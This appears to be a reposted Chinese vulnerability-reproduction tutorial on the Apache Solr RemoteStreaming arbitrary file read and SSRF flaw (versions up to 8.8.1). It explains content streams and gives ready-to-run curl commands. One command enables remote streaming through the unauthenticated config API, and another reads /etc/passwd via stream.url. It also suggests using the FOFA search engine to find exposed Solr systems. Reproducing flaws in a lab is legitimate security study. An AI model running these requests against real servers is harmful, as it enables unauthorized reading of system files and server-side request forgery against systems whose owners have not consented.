zl程序教程

您现在的位置是:首页 >  工具

当前栏目

漏洞复现----20、Apache Solr RemoteStreaming 任意文件读取和SSRF

Apache漏洞文件 读取 ---- 20 任意 复现
2023-09-11 14:17:06 时间


一、Apache Solr简介

Apache Solr是一个功能强大的开源搜索服务器,它支持REST风格API。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

影响版本:Apache Solr <= 8.8.1
1、下载地址:
https://solr.apache.org/downloads.html(可访问最新版本)
https://archive.apache.org/dist/lucene/solr/(可查看所有版本)
2、在线靶场
vluhub
https://labs.do-ta.com/
空间搜索引擎FOFA输入:app="APACHE-Solr",可以查看目前使用Solr的系统,如下图:

在这里插入图片描述


二、内容流与RemoteStreaming

我们需要学习一些额外的知识,以便了解为何我们的Payload要如下那样设置。

1、内容流

内容流来源:当前请求处理程序可以通过多种方式获取内容流:
1、对于多部分文件上传,每个文件都以流的形式传递。
2、对于内容类型不是 application/x-www-form-urlencoded 的 POST 请求,原始的 POST 主体将作为流传递。完整的 POST 主体被解析为参数并包含在 Solr 参数中。
3、参数 stream.body 的内容作为流传递。
4、如果启用了远程流并在请求处理期间调用了 URL 内容,则每个参数 stream.url 和 stream.file 参数的内容将作为流获取并传递。

默认情况下,curl 发送一个 contentType=“application/x-www-form-urlencoded” 头。如果需要测试SolrContentHeader内容流,则需要使用 curl -H 标志来设置内容类型。

2、RemoteStreaming

远程流传输,默认情况下是禁用状态,开启此选项,可以将URL的内容作为流发送到给定的SolrRequestHandler。

在启用远程流处理之前, 应确保系统已启用身份验证。
<requestParsers enableRemoteStreaming="false"...>

如果未在 solrconfig. xml 中指定 enableRemoteStreaming,则默认行为是不允许远程流 (即 enableRemoteStreaming = “false”)。
远程流也可以通过 Config API 启用,如下所示:

curl -d '
{
  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}
}
' http://localhost:8983/solr/techproducts/config -H 'Content-type:application/json'

如果使用 enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求。如果启用了 DumpRequestHandler,它将允许任何人查看系统上的任何文件。


三、漏洞复现

1、访问到Apache Solr的管理控制台

访问请求:ip:8983

在这里插入图片描述

2、访问http://192.168.209.134:8983/solr/admin/cores?indexInfo=false&wt=json
获取到数据库名称为:demo
在这里插入图片描述
3、利用curl命令,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming。

curl -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
     $'http://192.168.209.134:8983/solr/demo/config'

在这里插入图片描述
4、通过curl工具,利用Stream.url读取任意文件

curl -i -s -k 'http://192.168.209.134:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述